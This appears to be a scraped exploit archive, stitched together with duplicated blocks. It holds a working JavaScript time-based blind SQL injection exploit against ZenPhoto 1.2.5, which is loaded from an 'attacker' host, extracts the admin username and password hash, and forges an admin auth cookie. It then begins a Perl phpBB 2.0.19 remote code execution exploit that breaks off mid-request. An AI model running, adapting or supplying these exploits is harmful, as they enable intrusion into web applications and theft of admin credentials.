write(loot.length + "> "+ 'char= ' + c + ', took= ' + took + ', min= ' + min);
if(took >= min)
{
loot += c;
display_loot.innerHTML = '';
display_loot.innerHTML += loot;
offset = 0;
best = ''; best_match = 0;
}
else
offset++;
if(loot.length >= hash_max)
{
display_loot.innerHTML = ''; display_loot += loot;
loot_password = loot;
write('<a href="javascript:showMenu();">Back To Menu</a>');
alert("Admin Password Hash is \"" + loot + "\"\r\n(reached max length)");
return;
}
if(offset < charset_len)
setTimeout(readNextChar, delay);
else
{
if(loot.length < hash_max)
{
loot += best;
best = ''; best_match = 0;
display_loot.innerHTML = '';
display_loot.innerHTML += loot;
offset = 0;
setTimeout(readNextChar, delay);
return;
}
display_loot.innerHTML = '';
display_loot.innerHTML += loot;
loot_password = loot;
write('<a href="javascript:showMenu();">Back To Menu</a>');
alert("Admin Password Hash is \"" + loot + "\"");
}
}
readNextChar();
}
function createListItem(label, onclick, list)
{
var li = document.createElement("LI");
li.innerHTML = '<a href="javascript:' + onclick + '">' + label + "</a>";
list.appendChild(li);
}
createDisplay();
showMenu();
/**
*
* MD5 (Message-Digest Algorithm)
* http://www.webtoolkit.info/
*
**/
var MD5 = function (string) {
function RotateLeft(lValue, iShiftBits) {
return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits));
}
function AddUnsigned(lX,lY) {
var lX4,lY4,lX8,lY8,lResult;
lX8 = (lX & 0x80000000);
lY8 = (lY & 0x80000000);
lX4 = (lX & 0x40000000);
lY4 = (lY & 0x40000000);
lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF);
if (lX4 & lY4) {
return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
}
if (lX4 | lY4) {
if (lResult & 0x40000000) {
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
} else {
return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
}
} else {
return (lResult ^ lX8 ^ lY8);
}
}
function F(x,y,z) { return (x & y) | ((~x) & z); }
function G(x,y,z) { return (x & z) | (y & (~z)); }
function H(x,y,z) { return (x ^ y ^ z); }
function I(x,y,z) { return (y ^ (x | (~z))); }
function FF(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
};
function GG(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
};
function HH(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
};
function II(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
};
function ConvertToWordArray(string) {
var lWordCount;
var lMessageLength = string.length;
var lNumberOfWords_temp1=lMessageLength + 8;
var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64;
var lNumberOfWords = (lNumberOfWords_temp2+1)*16;
var lWordArray=Array(lNumberOfWords-1);
var lBytePosition = 0;
var lByteCount = 0;
while ( lByteCount < lMessageLength ) {
lWordCount = (lByteCount-(lByteCount % 4))/4;
lBytePosition = (lByteCount % 4)*8;
lWordArray[lWordCount] = (lWordArray[lWordCount] | (string.charCodeAt(lByteCount)<<lBytePosition));
lByteCount++;
}
lWordCount = (lByteCount-(lByteCount % 4))/4;
lBytePosition = (lByteCount % 4)*8;
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80<<lBytePosition);
lWordArray[lNumberOfWords-2] = lMessageLength<<3;
lWordArray[lNumberOfWords-1] = lMessageLength>>>29;
return lWordArray;
};
function WordToHex(lValue) {
var WordToHexValue="",WordToHexValue_temp="",lByte,lCount;
for (lCount = 0;lCount<=3;lCount++) {
lByte = (lValue>>>(lCount*8)) & 255;
WordToHexValue_temp = "0" + lByte.toString(16);
WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2);
}
return WordToHexValue;
};
function Utf8Encode(string) {
string = string.replace(/\r\n/g,"\n");
var utftext = "";
for (var n = 0; n < string.length; n++) {
var c = string.charCodeAt(n);
if (c < 128) {
utftext += String.fromCharCode(c);
}
else if((c > 127) && (c < 2048)) {
utftext += String.fromCharCode((c >> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);
}
else {
utftext += String.fromCharCode((c >> 12) | 224);
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);
}
}
return utftext;
};
var x=Array();
var k,AA,BB,CC,DD,a,b,c,d;
var S11=7, S12=12, S13=17, S14=22;
var S21=5, S22=9 , S23=14, S24=20;
var S31=4, S32=11, S33=16, S34=23;
var S41=6, S42=10, S43=15, S44=21;
string = Utf8Encode(string);
x = ConvertToWordArray(string);
a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476;
for (k=0;k<x.length;k+=16) {
AA=a; BB=b; CC=c; DD=d;
a=FF(a,b,c,d,x[k+0], S11,0xD76AA478);
d=FF(d,a,b,c,x[k+1], S12,0xE8C7B756);
c=FF(c,d,a,b,x[k+2], S13,0x242070DB);
b=FF(b,c,d,a,x[k+3], S14,0xC1BDCEEE);
a=FF(a,b,c,d,x[k+4], S11,0xF57C0FAF);
d=FF(d,a,b,c,x[k+5], S12,0x4787C62A);
c=FF(c,d,a,b,x[k+6], S13,0xA8304613);
b=FF(b,c,d,a,x[k+7], S14,0xFD469501);
a=FF(a,b,c,d,x[k+8], S11,0x698098D8);
d=FF(d,a,b,c,x[k+9], S12,0x8B44F7AF);
c=FF(c,d,a,b,x[k+10],S13,0xFFFF5BB1);
b=FF(b,c,d,a,x[k+11],S14,0x895CD7BE);
a=FF(a,b,c,d,x[k+12],S11,0x6B901122);
d=FF(d,a,b,c,x[k+13],S12,0xFD987193);
c=FF(c,d,a,b,x[k+14],S13,0xA679438E);
b=FF(b,c,d,a,x[k+15],S14,0x49B40821);
a=GG(a,b,c,d,x[k+1], S21,0xF61E2562);
d=GG(d,a,b,c,x[k+6], S22,0xC040B340);
c=GG(c,d,a,b,x[k+11],S23,0x265E5A51);
b=GG(b,c,d,a,x[k+0], S24,0xE9B6C7AA);
a=GG(a,b,c,d,x[k+5], S21,0xD62F105D);
d=GG(d,a,b,c,x[k+10],S22,0x2441453);
c=GG(c,d,a,b,x[k+15],S23,0xD8A1E681);
b=GG(b,c,d,a,x[k+4], S24,0xE7D3FBC8);
a=GG(a,b,c,d,x[k+9], S21,0x21E1CDE6);
d=GG(d,a,b,c,x[k+14],S22,0xC33707D6);
c=GG(c,d,a,b,x[k+3], S23,0xF4D50D87);
b=GG(b,c,d,a,x[k+8], S24,0x455A14ED);
a=GG(a,b,c,d,x[k+13],S21,0xA9E3E905);
d=GG(d,a,b,c,x[k+2], S22,0xFCEFA3F8);
c=GG(c,d,a,b,x[k+7], S23,0x676F02D9);
b=GG(b,c,d,a,x[k+12],S24,0x8D2A4C8A);
a=HH(a,b,c,d,x[k+5], S31,0xFFFA3942);
d=HH(d,a,b,c,x[k+8], S32,0x8771F681);
c=HH(c,d,a,b,x[k+11],S33,0x6D9D6122);
b=HH(b,c,d,a,x[k+14],S34,0xFDE5380C);
a=HH(a,b,c,d,x[k+1], S31,0xA4BEEA44);
d=HH(d,a,b,c,x[k+4], S32,0x4BDECFA9);
c=HH(c,d,a,b,x[k+7], S33,0xF6BB4B60);
b=HH(b,c,d,a,x[k+10],S34,0xBEBFBC70);
a=HH(a,b,c,d,x[k+13],S31,0x289B7EC6);
d=HH(d,a,b,c,x[k+0], S32,0xEAA127FA);
c=HH(c,d,a,b,x[k+3], S33,0xD4EF3085);
b=HH(b,c,d,a,x[k+6], S34,0x4881D05);
a=HH(a,b,c,d,x[k+9], S31,0xD9D4D039);
d=HH(d,a,b,c,x[k+12],S32,0xE6DB99E5);
c=HH(c,d,a,b,x[k+15],S33,0x1FA27CF8);
b=HH(b,c,d,a,x[k+2], S34,0xC4AC5665);
a=II(a,b,c,d,x[k+0], S41,0xF4292244);
d=II(d,a,b,c,x[k+7], S42,0x432AFF97);
c=II(c,d,a,b,x[k+14],S43,0xAB9423A7);
b=II(b,c,d,a,x[k+5], S44,0xFC93A039);
a=II(a,b,c,d,x[k+12],S41,0x655B59C3);
d=II(d,a,b,c,x[k+3], S42,0x8F0CCC92);
c=II(c,d,a,b,x[k+10],S43,0xFFEFF47D);
b=II(b,c,d,a,x[k+1], S44,0x85845DD1);
a=II(a,b,c,d,x[k+8], S41,0x6FA87E4F);
d=II(d,a,b,c,x[k+15],S42,0xFE2CE6E0);
c=II(c,d,a,b,x[k+6], S43,0xA3014314);
b=II(b,c,d,a,x[k+13],S44,0x4E0811A1);
a=II(a,b,c,d,x[k+4], S41,0xF7537E82);
d=II(d,a,b,c,x[k+11],S42,0xBD3AF235);
c=II(c,d,a,b,x[k+2], S43,0x2AD7D2BB);
b=II(b,c,d,a,x[k+9], S44,0xEB86D391);
a=AddUnsigned(a,AA);
b=AddUnsigned(b,BB);
c=AddUnsigned(c,CC);
d=AddUnsigned(d,DD);
}
var temp = WordToHex(a)+WordToHex(b)+WordToHex(c)+WordToHex(d);
return temp.toLowerCase();
}
// milw0rm.com [2009-07-15]
petros/ZenPhoto 1.2.5 Blind SQL Injection ( na)
/*
* ZenPhoto 1.2.5 Completly Blind SQL Injection Exploit
* Requirements: magic_quotes = ANY (zenpage disables it anyway), ZenPage needs to be activated and have at least one news category
*
* What does this exploit let you do:
* The precoded functions I provided will allow you to extract the username and password hash of the admin from the database.
* It will also let you login to the admin panel w/o actually knowing the plain text password (only the username and hash are required)
*
* How To Use:
* 1) upload this script to http://attacker/exploit.js
* 2) open a vulnerable category in your webbrowser (Example: http://victim/zenphoto/news/category/anycategorynamehere)
* 3) Enter the following code into your address bar:
* javascript:(function(){var url = "http://attacker/exploit.js"; var evil = document.createElement('script'); evil.src = url; document.body.appendChild(evil);})();
* 4) Press enter and wait for the exploit console to show
* 5) You may now extract the username/password hash from the database (buggy :( )
* 6) Use the username/password hash with the Login Emulation tool to login to the admin panel
* 7) Have fun :)
*
* WARNING: THIS IS BUGGY! You might not get the hash/username correct the first time. Play with the settings below to tweak it so it works better for you
*
* Why this works:
* The sanitize function doesn't escape single quotes...
*
* Vulnerable Code (index.php):
* 95: $catname = sanitize($_GET['category']);
* 96: query("UPDATE ".prefix('zenpage_news_categories')." SET `hitcounter` = `hitcounter`+1 WHERE `cat_link` = '".$catname."'",true);
*
* Patch:
* 95: $catname = mysql_real_escape_string($_GET['category']);
*
* Example Exploitation:
* /zenphoto/news/category/cat1' and hitcounter = (SELECT IF(SUBSTRING(password,1 ,1) = 'A',BENCHMARK(5000000,ENCODE('this will probably','waste some time')),null) FROM zp_administrators) and '1' = '1
*
* This payload will delay the page from loading for about 5 seconds if the first letter of the password hash is 'A'
*
* The time detection isn't perfect and was pretty much slapped together. Make sure you try editing the variables below or
* make your own injector :P
*
* Discovered and Coded by petros@dusecurity.com
* Shoutz to xplorer and the rest of the DuSec Team
*/
// Change this if you are having problems with the injection
var patience = .8; // Time in seconds on how patient we are. Will be substracted from the benchmark time
var max_retries = 3; // maximum retries after failed HTTP request
var charset_hash = "0123456789abcdef".split(''); // charset for the password hash
var charset_username = "abcdefghiklmnopqrstuvqxzy0123456789ABCEDFGHIJKLMNOPQRSTUVWXYZ ._".split(''); // charset for the username
var username_max = 64; // max length of the username
var hash_max = 32; // max length of password hash (its md5..i wouldnt change this)
var benchmark_code = "BENCHMARK(5850000,ENCODE('this will probably','waste some time'))"; // code used to slow down requests if the query is true
var show_timing = false; // whether or not to show the timings of each request (good for debugging)
var delay = 1500; // delay in miliseconds between request
var err_delay = 1000; //delay in miliseconds to wait after an error
// Dont edit below this line
var display = false;
var display_loot = false;
var loot = false;
var loot_username = false;
var loot_password = false;
function get(page) // returns how long it took to send/receive the request...
{
var xhr = window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();
xhr.open('GET', page, false); // keep it syncronized..
xhr.setRequestHeader( "If-Modified-Since", "Sat, 1 Jan 2000 00:00:00 GMT" ); // cache..
var seconds = getTime();
xhr.send(null);
seconds = getTime() - seconds;
var success = (xhr.readyState == 4 && xhr.status == 200);
xhr = null; // dispose
return { 'miliseconds': seconds, 'seconds': seconds / 1000, 'success': success };
}
function getTime()
{
return Math.round(new Date().getTime());
}
function createDisplay() // create the display div
{
var div = document.createElement("DIV");
div.style.backgroundColor = '#C3FFB9';
div.style.border = '2px dashed green';
div.style.margin = '3px';
div.style.paddingLeft = '10px';
div.style.paddingBottom = '10px';
div.innerHTML = '<h2>ZenPhoto Blind Injection -- petros@dusecurity</h2><p><br /></p>';
display = document.createElement("P");
document.body.insertBefore(div, document.body.childNodes[0]);
div.appendChild(display);
}
function write(text)
{
display.innerHTML += text + "<br />";
}
function setDisplay(text)
{
display.innerHTML = text;
}
function clearDisplay()
{
display.innerHTML = '';
}
function getPath()
{
return window.location.pathname;
}
function showMenu()
{
clearDisplay();
write('What you like to do?');
var ul = document.createElement('OL'); // changed to OL so they know to do it in steps
createListItem('Extract Admin Username', 'extractusername();',ul);
createListItem('Extract Admin Password','extractpassword();',ul);
createListItem('Login to Admin using Hash', 'adminlogin();', ul);
display.appendChild(ul);
}
var un;
var pw;
function adminlogin()
{
clearDisplay();
write("Admin Login Emulator: ");
un = createTextbox('Username: ', (loot_username) ? loot_username : '[Enter Username]');
pw = createTextbox('Password: ', (loot_password) ? loot_password: '[Enter Hash]');
createButton('Pwn!', "step2();");
write('<br /><a href="javascript:showMenu();">Back To Menu</a>');
}
function step2()
{
var username = un.value;
var password = pw.value;
var auth =MD5(username + password);
SetCookie('zenphoto_auth', MD5(username + password), 30);
clearDisplay();
write("Generated auth cookie: zenphoto_auth=" + auth);
write("You are now logged in with admin privileges :)");
write('<a href="../../zp-core/admin.php">Enter Admin Panel</a>');
write('<br /><a href="javascript:showMenu();">Back To Menu</a>');
}
function createTextbox(label, value)
{
display.innerHTML += "<strong>" + label + "</strong>";
var tb = document.createElement('input');
tb.type = 'text';
tb.value = value;
display.appendChild(tb);
write('');
return tb;
}
function createButton(text, click)
{
write("<BUTTON onclick=\"" + click + "\">" + text + "</BUTTON>");
}
function addEvent(elem, type, handle)
{
if (elem.addEventListener)
elem.addEventListener(type, handle, false);
else if (elem.attachEvent)
elem.attachEvent("on" + type, handle);
}
// borrowed function
function SetCookie(cookieName,cookieValue,nDays) {
var today = new Date();
var expire = new Date();
if (nDays==null || nDays==0) nDays=1;
expire.setTime(today.getTime() + 3600000*24*nDays);
document.cookie = cookieName+"="+escape(cookieValue)
+ ";expires="+expire.toGMTString() + ";path=../../";
}
function extractusername()
{
clearDisplay();
var path = getPath();
var basetime = 0;
var benchmark = 0;
var diff = 0;
var offset = 0;
var charset_len = charset_username.length;
var resp = false;
loot = '';
display_loot = false;
write("Extracting username..");
write("Using path: " + path);
resp = get(path);
if(!resp.success) { write("Failed to request page."); return; }
basetime = resp.miliseconds;
write("Normal request time set to " + basetime + " milisecond(s)");
resp = get(path + "' and hitcounter = (SELECT IF('1' = '1',"+benchmark_code+",null)) and '1' = '1");
benchmark = resp.miliseconds;
diff = benchmark - basetime;
if(diff <= (patience * 1000)){ alert("Error calculating request difference! Try again later."); showMenu();}
write("Benchmark request time set to " + benchmark + " milisecond(s)");
if(benchmark <= (basetime + (patience * 1000))){ write("Error: Benchmark took less time than expected. Script might be patched or magic_quotes may be enabled. Make sure you are NOT logged in a try again."); return;}
write("Username: <div id=\"loot\"></div>");
display_loot = document.getElementById('loot');
var retries = 0;
var min = diff - (patience * 1000);
var best_match = 0;
var best = '';
if(min < 0) { write("Error: Benchmark took less time than expected. Please try again later."); return;}
function readNextChar()
{
var c = charset_username[offset];
display_loot.innerHTML = '';
display_loot.innerHTML += loot + c;
resp = get(path + "' and hitcounter = (SELECT IF(SUBSTRING(user,"+ (loot.length + 1)+" ,1) = '"+ c +"',"+ benchmark_code+",null) FROM zp_administrators LIMIT 0,1) and '1' = '1");
if(!resp.success) { ++retries; if(retries >= max_retries) { write("failed to execute exploit (too many errors)"); return;} setTimeout(readNextChar, err_delay); return;}
retries = 0; //reset error counter
var took = resp.miliseconds - basetime; //difference
if(took > 0 && best_match < took) {best_match = took; best = c;}
if(show_timing)
write(loot.length + 1 + "> "+ 'char= ' + c + ', took= ' + took + ', min= ' + min);
if(took >= min)
{
loot += c;
if(show_timing)
write("got \"" + loot + "\" so far...");
display_loot.innerHTML = '';
display_loot.innerHTML += loot;
best = '';
best_match = 0;
offset = 0;
}
else
offset++;
if(loot.length >= username_max)
{
display_loot.innerHTML = ''; display_loot += loot;
loot_username = loot;
write('<a href="javascript:showMenu();">Back To Menu</a>');
alert("Admin Username is \"" + loot + "\"\r\n(reached max length)");
return;
}
if(offset < charset_len)
setTimeout(readNextChar, delay);
else
{
if(loot.length < username_max)
{
write("best match: " + best_match);
function beAnAsshole(){
loot += best;
best = ''; best_match = 0;
display_loot.innerHTML = '';
display_loot.innerHTML += loot;
offset = 0;
setTimeout(readNextChar, delay);
return;}
}
display_loot.innerHTML = '';
display_loot.innerHTML += loot;
loot_username = loot;
write('<a href="javascript:showMenu();">Back To Menu</a>');
alert("Admin Username is \"" + loot + "\"");
}
}
readNextChar();
}
function extractpassword()
{
clearDisplay();
var path = getPath();
var basetime = 0;
var benchmark = 0;
var diff = 0;
var offset = 0;
var charset_len = charset_hash.length;
var resp = false;
loot = '';
display_loot = false;
write("Extracting password..");
write("Using path: " + path);
resp = get(path);
if(!resp.success) { write("Failed to request page."); return; }
basetime = resp.miliseconds;
write("Normal request time set to " + basetime + " milisecond(s)");
resp = get(path + "' and hitcounter = (SELECT IF('1' = '1',"+benchmark_code+",null)) and '1' = '1");
benchmark = resp.miliseconds;
write("Benchmark request time set to " + benchmark + " milisecond(s)");
if(benchmark <= (basetime + (patience * 1000))){ write("Error: Benchmark took less time than expected. Script might be patched or magic_quotes may be enabled. Make sure you are NOT logged in a try again."); return;}
write("Password: <div id=\"loot\"></div>");
display_loot = document.getElementById('loot');
var retries = 0;
diff = benchmark - basetime;
if(diff <= 0) { alert("Failed to determine difference. Try again later"); showMenu(); return;}
var min = diff- (patience * 1000);
var best_match = 0;
var best = '';
if(min < 0) { write("Error: Benchmark took less time than expected. Please try again later."); return;}
function readNextChar()
{
var c = charset_hash[offset];
display_loot.innerHTML = '';
display_loot.innerHTML += loot + c;
resp = get(path + "' and hitcounter = (SELECT IF(SUBSTRING(password,"+ (loot.length + 1)+" ,1) = '"+ c +"',"+ benchmark_code+",null) FROM zp_administrators LIMIT 0,1) and '1' = '1");
if(!resp.success) { ++retries; if(retries >= max_retries) { write("failed to execute exploit (too many errors)"); return;} setTimeout(readNextChar, err_delay); return;}
var took = resp.miliseconds - basetime;
retries = 0;
if(took > 0 && took > best_match) {best_match = took; best = c;}
if(show_timing)
write(loot.length + "> "+ 'char= ' + c + ', took= ' + took + ', min= ' + min);
if(took >= min)
{
loot += c;
display_loot.innerHTML = '';
display_loot.innerHTML += loot;
offset = 0;
best = ''; best_match = 0;
}
else
offset++;
if(loot.length >= hash_max)
{
display_loot.innerHTML = ''; display_loot += loot;
loot_password = loot;
write('<a href="javascript:showMenu();">Back To Menu</a>');
alert("Admin Password Hash is \"" + loot + "\"\r\n(reached max length)");
return;
}
if(offset < charset_len)
setTimeout(readNextChar, delay);
else
{
if(loot.length < hash_max)
{
loot += best;
best = ''; best_match = 0;
display_loot.innerHTML = '';
display_loot.innerHTML += loot;
offset = 0;
setTimeout(readNextChar, delay);
return;
}
display_loot.innerHTML = '';
display_loot.innerHTML += loot;
loot_password = loot;
write('<a href="javascript:showMenu();">Back To Menu</a>');
alert("Admin Password Hash is \"" + loot + "\"");
}
}
readNextChar();
}
function createListItem(label, onclick, list)
{
var li = document.createElement("LI");
li.innerHTML = '<a href="javascript:' + onclick + '">' + label + "</a>";
list.appendChild(li);
}
createDisplay();
showMenu();
/**
*
* MD5 (Message-Digest Algorithm)
* http://www.webtoolkit.info/
*
**/
var MD5 = function (string) {
function RotateLeft(lValue, iShiftBits) {
return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits));
}
function AddUnsigned(lX,lY) {
var lX4,lY4,lX8,lY8,lResult;
lX8 = (lX & 0x80000000);
lY8 = (lY & 0x80000000);
lX4 = (lX & 0x40000000);
lY4 = (lY & 0x40000000);
lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF);
if (lX4 & lY4) {
return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
}
if (lX4 | lY4) {
if (lResult & 0x40000000) {
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
} else {
return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
}
} else {
return (lResult ^ lX8 ^ lY8);
}
}
function F(x,y,z) { return (x & y) | ((~x) & z); }
function G(x,y,z) { return (x & z) | (y & (~z)); }
function H(x,y,z) { return (x ^ y ^ z); }
function I(x,y,z) { return (y ^ (x | (~z))); }
function FF(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
};
function GG(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
};
function HH(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
};
function II(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
};
function ConvertToWordArray(string) {
var lWordCount;
var lMessageLength = string.length;
var lNumberOfWords_temp1=lMessageLength + 8;
var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64;
var lNumberOfWords = (lNumberOfWords_temp2+1)*16;
var lWordArray=Array(lNumberOfWords-1);
var lBytePosition = 0;
var lByteCount = 0;
while ( lByteCount < lMessageLength ) {
lWordCount = (lByteCount-(lByteCount % 4))/4;
lBytePosition = (lByteCount % 4)*8;
lWordArray[lWordCount] = (lWordArray[lWordCount] | (string.charCodeAt(lByteCount)<<lBytePosition));
lByteCount++;
}
lWordCount = (lByteCount-(lByteCount % 4))/4;
lBytePosition = (lByteCount % 4)*8;
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80<<lBytePosition);
lWordArray[lNumberOfWords-2] = lMessageLength<<3;
lWordArray[lNumberOfWords-1] = lMessageLength>>>29;
return lWordArray;
};
function WordToHex(lValue) {
var WordToHexValue="",WordToHexValue_temp="",lByte,lCount;
for (lCount = 0;lCount<=3;lCount++) {
lByte = (lValue>>>(lCount*8)) & 255;
WordToHexValue_temp = "0" + lByte.toString(16);
WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2);
}
return WordToHexValue;
};
function Utf8Encode(string) {
string = string.replace(/\r\n/g,"\n");
var utftext = "";
for (var n = 0; n < string.length; n++) {
var c = string.charCodeAt(n);
if (c < 128) {
utftext += String.fromCharCode(c);
}
else if((c > 127) && (c < 2048)) {
utftext += String.fromCharCode((c >> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);
}
else {
utftext += String.fromCharCode((c >> 12) | 224);
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);
}
}
return utftext;
};
var x=Array();
var k,AA,BB,CC,DD,a,b,c,d;
var S11=7, S12=12, S13=17, S14=22;
var S21=5, S22=9 , S23=14, S24=20;
var S31=4, S32=11, S33=16, S34=23;
var S41=6, S42=10, S43=15, S44=21;
string = Utf8Encode(string);
x = ConvertToWordArray(string);
a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476;
for (k=0;k<x.length;k+=16) {
AA=a; BB=b; CC=c; DD=d;
a=FF(a,b,c,d,x[k+0], S11,0xD76AA478);
d=FF(d,a,b,c,x[k+1], S12,0xE8C7B756);
c=FF(c,d,a,b,x[k+2], S13,0x242070DB);
b=FF(b,c,d,a,x[k+3], S14,0xC1BDCEEE);
a=FF(a,b,c,d,x[k+4], S11,0xF57C0FAF);
d=FF(d,a,b,c,x[k+5], S12,0x4787C62A);
c=FF(c,d,a,b,x[k+6], S13,0xA8304613);
b=FF(b,c,d,a,x[k+7], S14,0xFD469501);
a=FF(a,b,c,d,x[k+8], S11,0x698098D8);
d=FF(d,a,b,c,x[k+9], S12,0x8B44F7AF);
c=FF(c,d,a,b,x[k+10],S13,0xFFFF5BB1);
b=FF(b,c,d,a,x[k+11],S14,0x895CD7BE);
a=FF(a,b,c,d,x[k+12],S11,0x6B901122);
d=FF(d,a,b,c,x[k+13],S12,0xFD987193);
c=FF(c,d,a,b,x[k+14],S13,0xA679438E);
b=FF(b,c,d,a,x[k+15],S14,0x49B40821);
a=GG(a,b,c,d,x[k+1], S21,0xF61E2562);
d=GG(d,a,b,c,x[k+6], S22,0xC040B340);
c=GG(c,d,a,b,x[k+11],S23,0x265E5A51);
b=GG(b,c,d,a,x[k+0], S24,0xE9B6C7AA);
a=GG(a,b,c,d,x[k+5], S21,0xD62F105D);
d=GG(d,a,b,c,x[k+10],S22,0x2441453);
c=GG(c,d,a,b,x[k+15],S23,0xD8A1E681);
b=GG(b,c,d,a,x[k+4], S24,0xE7D3FBC8);
a=GG(a,b,c,d,x[k+9], S21,0x21E1CDE6);
d=GG(d,a,b,c,x[k+14],S22,0xC33707D6);
c=GG(c,d,a,b,x[k+3], S23,0xF4D50D87);
b=GG(b,c,d,a,x[k+8], S24,0x455A14ED);
a=GG(a,b,c,d,x[k+13],S21,0xA9E3E905);
d=GG(d,a,b,c,x[k+2], S22,0xFCEFA3F8);
c=GG(c,d,a,b,x[k+7], S23,0x676F02D9);
b=GG(b,c,d,a,x[k+12],S24,0x8D2A4C8A);
a=HH(a,b,c,d,x[k+5], S31,0xFFFA3942);
d=HH(d,a,b,c,x[k+8], S32,0x8771F681);
c=HH(c,d,a,b,x[k+11],S33,0x6D9D6122);
b=HH(b,c,d,a,x[k+14],S34,0xFDE5380C);
a=HH(a,b,c,d,x[k+1], S31,0xA4BEEA44);
d=HH(d,a,b,c,x[k+4], S32,0x4BDECFA9);
c=HH(c,d,a,b,x[k+7], S33,0xF6BB4B60);
b=HH(b,c,d,a,x[k+10],S34,0xBEBFBC70);
a=HH(a,b,c,d,x[k+13],S31,0x289B7EC6);
d=HH(d,a,b,c,x[k+0], S32,0xEAA127FA);
c=HH(c,d,a,b,x[k+3], S33,0xD4EF3085);
b=HH(b,c,d,a,x[k+6], S34,0x4881D05);
a=HH(a,b,c,d,x[k+9], S31,0xD9D4D039);
d=HH(d,a,b,c,x[k+12],S32,0xE6DB99E5);
c=HH(c,d,a,b,x[k+15],S33,0x1FA27CF8);
b=HH(b,c,d,a,x[k+2], S34,0xC4AC5665);
a=II(a,b,c,d,x[k+0], S41,0xF4292244);
d=II(d,a,b,c,x[k+7], S42,0x432AFF97);
c=II(c,d,a,b,x[k+14],S43,0xAB9423A7);
b=II(b,c,d,a,x[k+5], S44,0xFC93A039);
a=II(a,b,c,d,x[k+12],S41,0x655B59C3);
d=II(d,a,b,c,x[k+3], S42,0x8F0CCC92);
c=II(c,d,a,b,x[k+10],S43,0xFFEFF47D);
b=II(b,c,d,a,x[k+1], S44,0x85845DD1);
a=II(a,b,c,d,x[k+8], S41,0x6FA87E4F);
d=II(d,a,b,c,x[k+15],S42,0xFE2CE6E0);
c=II(c,d,a,b,x[k+6], S43,0xA3014314);
b=II(b,c,d,a,x[k+13],S44,0x4E0811A1);
a=II(a,b,c,d,x[k+4], S41,0xF7537E82);
d=II(d,a,b,c,x[k+11],S42,0xBD3AF235);
c=II(c,d,a,b,x[k+2], S43,0x2AD7D2BB);
b=II(b,c,d,a,x[k+9], S44,0xEB86D391);
a=AddUnsigned(a,AA);
b=AddUnsigned(b,BB);
c=AddUnsigned(c,CC);
d=AddUnsigned(d,DD);
}
var temp = WordToHex(a)+WordToHex(b)+WordToHex(c)+WordToHex(d);
return temp.toLowerCase();
}
ZenPhoto version 1.2.5 blind SQL injection exploit.
RusH/phpBB <= 2.0.19 (user_sig_bbcode_uid) Remote Code Execution Exploit ( php)
#!/usr/bin/perl
## r57phpbba2e2.pl - phpBB admin 2 exec exploit
## version 2 (based on user_sig_bbcode_uid bug)
## tested on 2.0.12 , 2.0.13 , 2.0.19
## --------------------------------------------
## screen
## r57phpbba2e2.pl -u http://192.168.0.2/phpBB-2.0.19/ -L admin -P password
## Command for execute or 'exit' for exit # id
## uid=80(www) gid=80(www) groups=80(www)
## Command for execute or 'exit' for exit # exit
## --------------------------------------------
## *** surprise included ;) and broken. /str0ke
## 20/02/06
## 1dt.w0lf
## RST/GHC (http://rst.void.ru , http://ghc.ru)
use LWP::UserAgent;
use Getopt::Std;
use HTTP::Cookies;
getopts("u:L:P:i:p:o:");
$url = $opt_u;
$login = $opt_L;
$password = $opt_P;
$id = $opt_i || 2;
$prefix = $opt_p || 'phpbb_';
$proxy = $opt_o;
if(!$url || !$login || !$password){&usage;}
$|++;
$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();
$xpl->cookie_jar( $cookie_jar );
$xpl->proxy('http'=>'http://'.$proxy) if $proxy;
$ids = 'IDS:r57 phpBB2 exploit a2e2#20022006|'.$url.'|'.$login.'|'.$password.'|'.$id.'|'.$prefix;
$res = $xpl->post($url.'login.php',
[
